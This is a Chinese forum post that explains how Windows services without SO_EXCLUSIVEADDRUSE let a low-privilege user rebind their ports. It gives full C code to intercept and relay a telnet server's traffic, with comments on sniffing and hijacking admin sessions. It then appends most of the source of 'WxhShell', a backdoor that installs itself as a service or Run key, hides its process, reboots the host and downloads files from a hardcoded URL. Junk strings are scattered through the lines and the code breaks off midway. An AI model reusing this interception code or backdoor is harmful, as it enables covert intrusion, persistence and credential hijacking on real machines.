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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: C4jq T  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P`K?k<  
okO^ /"  
  saddr.sin_family = AF_INET; s2-p -n  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); StP7t  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ox` +Z0)a  
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  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /Af:{|'$%  
D`bH_1X  
  这意味着什么?意味着可以进行如下的攻击: q{W@J0U  
;(0E#hGN  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :/kz*X=<  
c?NXX&  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) zl W 5$cC[  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t(|\3$z  
x]gf3Tc58  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  EfR3$sp  
V.RG= TVS  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 'o#ve72z1  
D#T1~r4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 P2S$Dk_<\X  
av&4:O!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 K 0i[D"  
D4x~Vk%H  
  #include x*A_1_A  
  #include Ifm|_  
  #include 8tM40/U$  
  #include    DJv;ed%x  
  DWORD WINAPI ClientThread(LPVOID lpParam);   `&"-|  
  int main() :Qg3B ';  
  { 52$7vYMto  
  WORD wVersionRequested; "]dNN{Wka  
  DWORD ret; eJB !|  
  WSADATA wsaData; [4qx+ypT  
  BOOL val; ~ l'dpg  
  SOCKADDR_IN saddr; rH9wRY(  
  SOCKADDR_IN scaddr; _z<y]?q  
  int err; .CClc(bO_/  
  SOCKET s; ]Y'oxh  
  SOCKET sc; |uT&`0T'e`  
  int caddsize; Kzw )Q  
  HANDLE mt; wsyG~^>  
  DWORD tid;    6[<*C?  
  wVersionRequested = MAKEWORD( 2, 2 ); l%?D%'afN  
  err = WSAStartup( wVersionRequested, &wsaData ); /N`l z>^~  
  if ( err != 0 ) { TS9=A1J#  
  printf("error!WSAStartup failed!\n"); i9.~cnk  
  return -1; h]rF2 B  
  } 6]%79?'A  
  saddr.sin_family = AF_INET; &J)q_Z8  
   yB&+2  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 mr+J#  
ydCVG,"  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); R0R Xw  
  saddr.sin_port = htons(23); = dyApR:'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tp='PG.6  
  { +`_I !  
  printf("error!socket failed!\n"); wL'tGAv  
  return -1; qYHAXc}$  
  } ^rI<}cfR  
  val = TRUE; J Cu3,O!q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 zW`$T 88~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) YEZd8Y  
  { Zc"Vf]:  
  printf("error!setsockopt failed!\n"); *TpzX y  
  return -1; P< +5So0  
  } KWVEAHIn  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [Yx)`e  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 fI2/v<[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0W|}5(C  
&j\<UPn  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =#@eDm%  
  { #Y3:~dmJ-  
  ret=GetLastError(); -S]yXZ  
  printf("error!bind failed!\n"); A4,tv#z  
  return -1; 8*nl Wl9qo  
  } } PD]e*z{Z  
  listen(s,2); "p43#  
  while(1) ESk<*-  
  { o0Z(BTO  
  caddsize = sizeof(scaddr); +?[ ,y  
  //接受连接请求 a1;P2ikuK  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); qc}r.'p  
  if(sc!=INVALID_SOCKET) x&6SjlDb$K  
  { &+?JY|u  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @(Mg>.P  
  if(mt==NULL) stDrF1{  
  { fUh7PF%  
  printf("Thread Creat Failed!\n"); D"WqJcDt  
  break; ,?"cKdiZ  
  } z z@;UbD"  
  } 1]HEwTT/1_  
  CloseHandle(mt); FE+Y#  
  } }QszOi\fV1  
  closesocket(s); uqy b  
  WSACleanup(); =&QC&CqEi  
  return 0; J`U\3:b`SP  
  }   X|'EyZ  
  DWORD WINAPI ClientThread(LPVOID lpParam) |=C&JA  
  { P@ewr}  
  SOCKET ss = (SOCKET)lpParam; @add'>)  
  SOCKET sc; Ju""i4  
  unsigned char buf[4096]; {Mc^[}9  
  SOCKADDR_IN saddr; :` >|N|i  
  long num; V[<]BOM\v  
  DWORD val; 2IgTB|2  
  DWORD ret; mE3^5}[>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8}/v[8p  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    (f DA  
  saddr.sin_family = AF_INET; E|ce[|2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 60KhwD1  
  saddr.sin_port = htons(23); xtef18i>  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1Ih.?7}  
  { K1rF;7Y6  
  printf("error!socket failed!\n"); ;=IC.<Q<}  
  return -1; $d1+d;Mn  
  } =VMV^[&>  
  val = 100; Oj<.3U[C  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  8+no>%L  
  { h_K(8{1  
  ret = GetLastError(); 49%qBO$R  
  return -1; @SREyqC4  
  } VvuwgJX  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +.N3kH  
  { ?Z-(SC  
  ret = GetLastError(); !xs. [&u8  
  return -1; rixP[`!]x  
  } Hl"qLrb4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) dmHpF\P5f  
  { |oq27*ix~m  
  printf("error!socket connect failed!\n"); M)Iu'  
  closesocket(sc); aRBTuLa)fo  
  closesocket(ss); }`g:) g J  
  return -1; ?{s!.U[T@  
  } 7 jq?zS|  
  while(1) 5Xn+cw*  
  { 'p=5hsG  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "mbcZ5 _  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 G% wVQ|1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [6@{^  
  num = recv(ss,buf,4096,0); sY4sq5'!  
  if(num>0) %T]NM3|U  
  send(sc,buf,num,0); IwC4fcZX6  
  else if(num==0) 0be1aY;m&  
  break; 8spoDb.S  
  num = recv(sc,buf,4096,0); 2@``=0z  
  if(num>0) =M"H~;f]  
  send(ss,buf,num,0); `UFRv   
  else if(num==0) > Y <in/  
  break; `ReTfz;o  
  } QJc3@  
  closesocket(ss); TJ@@k SSbl  
  closesocket(sc); 3F'{JP  
  return 0 ; H`/Q hE  
  } =5NrkCk#V  
5'f4=J$Z)  
Z$R6'EUb1  
========================================================== 9-;ujl?{  
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下边附上一个代码,,WXhSHELL -.A%c(|Q  
P(I`^x  
========================================================== 'P{0K?{H-4  
Fw!wSzsk3  
#include "stdafx.h" {9sA'5  
\|20E51B[  
#include <stdio.h> `oP<mLxle  
#include <string.h> ^|^ek  
#include <windows.h> n}9vAvC  
#include <winsock2.h> 6AeX$>k+  
#include <winsvc.h> -lHSojq~H  
#include <urlmon.h> fj X~"U  
ZD{%0 uh  
#pragma comment (lib, "Ws2_32.lib") qd*3| O^  
#pragma comment (lib, "urlmon.lib") cjzhuH/y  
zx"'WM*  
#define MAX_USER   100 // 最大客户端连接数 WPVur{?<  
#define BUF_SOCK   200 // sock buffer _jK    
#define KEY_BUFF   255 // 输入 buffer zoXCMBg[  
5b X*8H D  
#define REBOOT     0   // 重启 !@mV$nTA  
#define SHUTDOWN   1   // 关机 dkTj KV  
z-|gw.y  
#define DEF_PORT   5000 // 监听端口 pKDP1S# <  
8Xpf|? .  
#define REG_LEN     16   // 注册表键长度 K8NoY6  
#define SVC_LEN     80   // NT服务名长度 M<Mr L[*j  
7Iu^ l4=2  
// 从dll定义API hS]g^S==2h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v3|-eWet^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;-p1z% u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); SH>L3@Za  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Az4+([  
Jlw<% }r  
// wxhshell配置信息 9{{QdN8  
struct WSCFG { )i8Hdtn  
  int ws_port;         // 监听端口 ;AV[bjRE\  
  char ws_passstr[REG_LEN]; // 口令 oh+Q}Fa:  
  int ws_autoins;       // 安装标记, 1=yes 0=no vK2sj1Hzr  
  char ws_regname[REG_LEN]; // 注册表键名 ~l$u~:4Ob  
  char ws_svcname[REG_LEN]; // 服务名 :uhU<H<,f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [.\uHt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ySP1,xq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _DPWp,k<~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?sQOz[ig;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UhuEE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 JmDi{B?  
/BB(riG  
}; 6?y<F4  
uq<kT[  
// default Wxhshell configuration v"M5';ZS>  
struct WSCFG wscfg={DEF_PORT, >]N}3J}47g  
    "xuhuanlingzhe", i0`<`qSQh  
    1, *Ag</g@ h  
    "Wxhshell", AR9D;YfR~  
    "Wxhshell", j8p</gd  
            "WxhShell Service", nn>1OO  
    "Wrsky Windows CmdShell Service", +a$'<GvP  
    "Please Input Your Password: ", lej-,HX  
  1, ~`'!nzP5H  
  "http://www.wrsky.com/wxhshell.exe", `.3!  
  "Wxhshell.exe" kO:|?}Koc  
    }; d-e6hI4b  
Yud]s~N  
// 消息定义模块 , 'WhF-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R=uzm=&nR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $4K( AEt[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~WH4D+  
char *msg_ws_ext="\n\rExit."; C9^[A4O@X!  
char *msg_ws_end="\n\rQuit."; 3WdYDv]N}L  
char *msg_ws_boot="\n\rReboot..."; \)Sa!XLfT  
char *msg_ws_poff="\n\rShutdown..."; +<5q8{]Pk  
char *msg_ws_down="\n\rSave to "; ,&>LBdG`  
.FUws  
char *msg_ws_err="\n\rErr!"; VO#x+u]/  
char *msg_ws_ok="\n\rOK!"; GT$.#};u  
+"8 [E~Bih  
char ExeFile[MAX_PATH]; )!+M\fT  
int nUser = 0; 8U,VpuQ:  
HANDLE handles[MAX_USER]; [ kI|Thx  
int OsIsNt; sT.;*3{  
H4%2"w6|!  
SERVICE_STATUS       serviceStatus; gO>XNXN{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4 DhGp  
*'5 )CC  
// 函数声明 `Y Hn L4  
int Install(void); *|)a@V L  
int Uninstall(void); NfG<!  
int DownloadFile(char *sURL, SOCKET wsh); B/"TaXVU  
int Boot(int flag); YbaaX{7^  
void HideProc(void); >*jcXao^  
int GetOsVer(void); ?y1']GAo  
int Wxhshell(SOCKET wsl); AY]dwKw  
void TalkWithClient(void *cs); -$W#bqvz^  
int CmdShell(SOCKET sock); }^|g|xl!  
int StartFromService(void); uTsxSkHb/  
int StartWxhshell(LPSTR lpCmdLine); { Ju  
Z(Styn/x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a?Q\nu1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W+HiH`Qb]  
K9{3,!1  
// 数据结构和表定义 aYTVYg  
SERVICE_TABLE_ENTRY DispatchTable[] = ^L}ICm_#  
{ a] 0B{  
{wscfg.ws_svcname, NTServiceMain}, @.IGOh  
{NULL, NULL} w>-@h>Ln  
}; U^qQ((ek  
p mv6m  
// 自我安装 0,1x- yD  
int Install(void) HEqTlnxUu  
{ {wUbr^  
  char svExeFile[MAX_PATH]; !O;su~7  
  HKEY key; Q;9-aZ.H  
  strcpy(svExeFile,ExeFile); G- _h 2  
#G</RYM~m  
// 如果是win9x系统,修改注册表设为自启动 xBba&A]=  
if(!OsIsNt) { zNAID-5K;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h"~i&T h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m9yi:zT%  
  RegCloseKey(key); i.QS(gM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Fjnp0:p9X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p~(+4uA  
  RegCloseKey(key); _=%F6}TE  
  return 0; 'gBns  
    } s &4k  
  } ?= G+L0t  
} WBb@\|V|  
else { L7kNQ/  
a1^CpeG~  
// 如果是NT以上系统,安装为系统服务 h%4aL38  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \!O3]k,r  
if (schSCManager!=0) "LwLTPC2  
{ ' 6^+|1  
  SC_HANDLE schService = CreateService \"]KF8c^_  
  ( KGM9 b  
  schSCManager, VT>TmfN(I  
  wscfg.ws_svcname, ]~a;tF>Fw  
  wscfg.ws_svcdisp, &%@e6..Ex  
  SERVICE_ALL_ACCESS, '3%JhG)#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1omjP`]|,  
  SERVICE_AUTO_START, TJYup%q  
  SERVICE_ERROR_NORMAL, Q#kSp8  
  svExeFile, }j+Af["W?  
  NULL, EY$Dtb+g8  
  NULL, 3H^0v$S  
  NULL, F747K);_  
  NULL, BZJ\tPSR  
  NULL =g.R?H8cj5  
  ); o7gYj\  
  if (schService!=0) w\V1pu^6@  
  { QR+xPY~  
  CloseServiceHandle(schService); 0B}O&DC%|  
  CloseServiceHandle(schSCManager); vR"?XqgZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $7bLw)7  
  strcat(svExeFile,wscfg.ws_svcname); W D/\f$4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7pllzy  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s=S9y7i(R  
  RegCloseKey(key); (M0"I1g|w  
  return 0; `i!BXOOV{  
    } z6IOVQ*r  
  } [Sr^CY P(  
  CloseServiceHandle(schSCManager); ?g{--'L  
} A&?8 rc  
} 8+f{ /  
rt rPRR\:"  
return 1; Sb4^* $uz  
} 0sMNp  
RGu`Jk  
// 自我卸载 f-.dL  
int Uninstall(void) t]3> X  
{ J# >)+  
  HKEY key; a/\SPXQ/9  
x5w5xw  
if(!OsIsNt) { )])nd "E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }}Zwdpo  
  RegDeleteValue(key,wscfg.ws_regname); -gQtw% `x  
  RegCloseKey(key); `e`}dgf0S|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D%`O.2T Y|  
  RegDeleteValue(key,wscfg.ws_regname); !1b}M/Wx  
  RegCloseKey(key); Ir\P[A  
  return 0; E ,kDy:  
  } SD/=e3  
} |D% O`[k+  
} $#z-b@s=B  
else { { 4 n  
\DiAfx<Ub  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }s7@0#j@a  
if (schSCManager!=0) OXxgnn>W'  
{ m/e*P*\ =  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =:M/hM)#  
  if (schService!=0) QGCg~TV;  
  { o&t*[#  
  if(DeleteService(schService)!=0) { ~|lEi1|  
  CloseServiceHandle(schService); @3w6 !Sgh  
  CloseServiceHandle(schSCManager); *b}/fG)XZ  
  return 0; H|Y*TI2vf8  
  } U#iGR5&^3  
  CloseServiceHandle(schService); &ir|2"HV  
  } +`J~c|(  
  CloseServiceHandle(schSCManager); [+F6C  
} dEhFuNO<2  
} 0$qK: ze  
kOE\.}~4  
return 1; _v#Vf*#  
} Zt"#'1  
SHc?C&^S  
// 从指定url下载文件 f`s.|99Y  
int DownloadFile(char *sURL, SOCKET wsh) ~W2Od2p !  
{ .GSK!1{@  
  HRESULT hr; q)l1tC72  
char seps[]= "/"; d[\$a4G+  
char *token; <Fi*wV  
char *file; 34 '[O  
char myURL[MAX_PATH]; z"D0Th`S6  
char myFILE[MAX_PATH]; #ZC9=  
* lJkk  
strcpy(myURL,sURL); { v  [  
  token=strtok(myURL,seps); Al3*? H&  
  while(token!=NULL) s$JO3-)  
  { {/|tVc63  
    file=token; ;=UkTn}N?l  
  token=strtok(NULL,seps); dEI]|i r  
  } hcqg94R#_  
c Cx_tGR"  
GetCurrentDirectory(MAX_PATH,myFILE); { .j030Q  
strcat(myFILE, "\\"); J'E?Z0  
strcat(myFILE, file); !DM GAt\  
  send(wsh,myFILE,strlen(myFILE),0); ${5E  
send(wsh,"...",3,0); aKFY&zN?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M9QYYo@  
  if(hr==S_OK) n%ypxY0  
return 0; -l~+cI\2  
else P8X59^cJ  
return 1; ei82pLM z  
]&?8l:3-G  
} I&%KOe0  
lt("yqBu  
// 系统电源模块 ATWa/"l(H-  
int Boot(int flag) nh]HEG0CZJ  
{ eMLcm ZJR  
  HANDLE hToken; &X6hOc:``\  
  TOKEN_PRIVILEGES tkp; cX#U_U~d  
#Ibpf ,  
  if(OsIsNt) { Gn%"B6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (]nX:t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Hva/C{Y  
    tkp.PrivilegeCount = 1; Ftdx+\O_i&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %,+&Kl I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z.~jqxA9  
if(flag==REBOOT) { (j-_iOQ]i+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) '-BD.^!!  
  return 0; ,YBe|3  
} _l+8[\v  
else { GP(ze-Yp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hvc3n> Y[}  
  return 0; I_Omv{&u  
} ]m :Y|,:6  
  } h-]c   
  else { `n"PHur  
if(flag==REBOOT) { i~LY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $=5kn>[_Z%  
  return 0; e0M'\'J  
} @Hl+]arUh  
else { G+t=+T2m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T|2v1Vj  
  return 0; FEi@MJJ\e  
} "vfpG7CG  
} ]wUH*\(y  
s~m]>^?8MR  
return 1; T7^?j :kJ/  
} C;%1XFzM  
T930tX6"h  
// win9x进程隐藏模块 %us#p|Ya  
void HideProc(void) 8<{i=V*x4  
{ \ cdns;  
T0@$6&b%\z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *mkVk7]c  
  if ( hKernel != NULL ) WFTwFm6  
  { NpxgF<G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s &f\gp1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w8bvqTQ  
    FreeLibrary(hKernel); r%9=75HA  
  } Wjli(sT#-  
$|N\(}R  
return; {TvB3QOsj  
} ovZ!}  
)|GYxG;8C  
// 获取操作系统版本 ~|S}$|Mi50  
int GetOsVer(void) m:c0S8#:  
{ qJJ}, 4}  
  OSVERSIONINFO winfo; vwzElZ{C:v  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 89m9iJ=  
  GetVersionEx(&winfo); ?z0W1a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yG^pND>_df  
  return 1; |'j,|^<  
  else \x|8  
  return 0; ]!uId#OH  
} ,'n`]@0?\  
>2ha6A[  
// 客户端句柄模块 2|&SG3e+(I  
int Wxhshell(SOCKET wsl) ZcN#jnb0/  
{ 2$'bOo  
  SOCKET wsh; {$V2L4  
  struct sockaddr_in client; R+El/ya:6  
  DWORD myID; Y8h 96  
y[zjs^-vCv  
  while(nUser<MAX_USER) qC B{dp/  
{ XRTiC #6  
  int nSize=sizeof(client); C#B|^A_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R\-]$\1D  
  if(wsh==INVALID_SOCKET) return 1; *-S?bv,T'  
TkVqv v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W![~"7?   
if(handles[nUser]==0) \}!/z]u  
  closesocket(wsh); aMGyV"6(-6  
else F\jawoO9  
  nUser++; ,20l` :  
  } L4ZB0PmN'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G_M8? G0  
P-DW@drxF  
  return 0; Tv9\` F[  
} !Sl_qL  
}D-jTZlC  
// 关闭 socket '.jYu7   
void CloseIt(SOCKET wsh) dK4w$~j{k  
{ lq mr`\@)  
closesocket(wsh); Ir=G\/A  
nUser--; +.gj/uy*  
ExitThread(0); DG}s`'  
} r]U8WM3r  
w&e3#p  
// 客户端请求句柄 wB:<ICm  
void TalkWithClient(void *cs) nX\mCO4T  
{ l&5Tft  
IG:2<G  
  SOCKET wsh=(SOCKET)cs; 13 %: 3W(  
  char pwd[SVC_LEN]; !L<z(dV|(  
  char cmd[KEY_BUFF]; Xpt9$=d  
char chr[1]; Xc4zUEO9  
int i,j; <+<Nsza  
/(?s\}O  
  while (nUser < MAX_USER) { clk]JA (  
 n}- _fx  
if(wscfg.ws_passstr) { uL ~wMX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =MvB9gx@r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "x nULQK  
  //ZeroMemory(pwd,KEY_BUFF); Xkk 8#Y":  
      i=0; E^0a; |B[  
  while(i<SVC_LEN) { =\mJ5v"hA  
TM|PwY  
  // 设置超时 ?<S fhjU  
  fd_set FdRead; QMy1!:Z&!  
  struct timeval TimeOut; [7NO !^  
  FD_ZERO(&FdRead); QKhGEW~G  
  FD_SET(wsh,&FdRead); /,~g"y.;,  
  TimeOut.tv_sec=8; h lSav?V_  
  TimeOut.tv_usec=0; @( 0O9L F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4dm0:, G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~,Yd.?.TI  
IfT: 9 &  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /x4L,UJ= P  
  pwd=chr[0]; p 16+(m  
  if(chr[0]==0xd || chr[0]==0xa) { +DO<M1uE  
  pwd=0; \#IKirf?  
  break; `5"3Cj"M  
  } ,9MNB3  
  i++; m4yWhUi(o  
    } x 0K#-  
abCxB^5VL  
  // 如果是非法用户,关闭 socket CNhLp#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G(ZEP.h`u  
} L$rr:^J  
RS@[ +!:t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g)!q4 -q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2dK:VC4U  
a8gOb6qF/H  
while(1) { ;/kmV~KG  
H}q$6W E  
  ZeroMemory(cmd,KEY_BUFF); )3<>H!yG}  
!R gj'{  
      // 自动支持客户端 telnet标准   mD|Q+~=|e  
  j=0; dK0H.|  
  while(j<KEY_BUFF) { _'<FBlIN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >&k`NXS|V  
  cmd[j]=chr[0]; n&a\mGF  
  if(chr[0]==0xa || chr[0]==0xd) { ~N7;. 3 7  
  cmd[j]=0; $~VIx% h  
  break; U9*< dR  
  } z`NJelcuz\  
  j++; ;*ni%|K  
    } Wyow MFp  
7#Uzz"^  
  // 下载文件 Mvp|S.  
  if(strstr(cmd,"http://")) { jc\y{I\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'Sesh'2 /  
  if(DownloadFile(cmd,wsh)) X?;iSekI4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C\OZs%]At  
  else Se37-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W}%"xy]N  
  } k+J63+obd  
  else { Z9*@w`x^u  
UJ(UzKq8  
    switch(cmd[0]) { vp9wRGd  
  tR2%oT>h  
  // 帮助 l2YA/9.  
  case '?': { ruyQ}b:zS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mNEh\4ai  
    break; O%6D2d  
  } u} +?'B)  
  // 安装 xE$lx:C"FU  
  case 'i': { K-K>'T9F}  
    if(Install()) fVVD}GM=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P,xJVo\  
    else =BJe}AV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b TZ.y.sI  
    break; atmW? Z  
    } .:GOKyr(~  
  // 卸载 #{^qBP[  
  case 'r': { !H<%X~|,  
    if(Uninstall())  q*C-DiV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \=`jo$S  
    else #K/JU{"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @1<VvW=  
    break; VE1j2=3+o  
    } 4tx6h<L#s  
  // 显示 wxhshell 所在路径 }B!io-}  
  case 'p': { m(^N8k1K;  
    char svExeFile[MAX_PATH]; Plhakngj  
    strcpy(svExeFile,"\n\r"); @K}h4Yok  
      strcat(svExeFile,ExeFile); ^zS;/%  
        send(wsh,svExeFile,strlen(svExeFile),0); Bu+?N%CBi  
    break; L6;'V5Mg72  
    } L GVy4D  
  // 重启 wZW\r!Us  
  case 'b': { F?0Q AA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qZ +K4H  
    if(Boot(REBOOT)) 4S[)5su  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ 4Ff8Y  
    else { x8~*+ j  
    closesocket(wsh); k g Rys  
    ExitThread(0); i[ws%GfEv  
    } j)Kd'Va  
    break; Cud!JpL  
    } %tZrP$DQ  
  // 关机 X#K;(.},h  
  case 'd': { 45$aq~%as  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q)KOI` A  
    if(Boot(SHUTDOWN)) {MTtj4$  
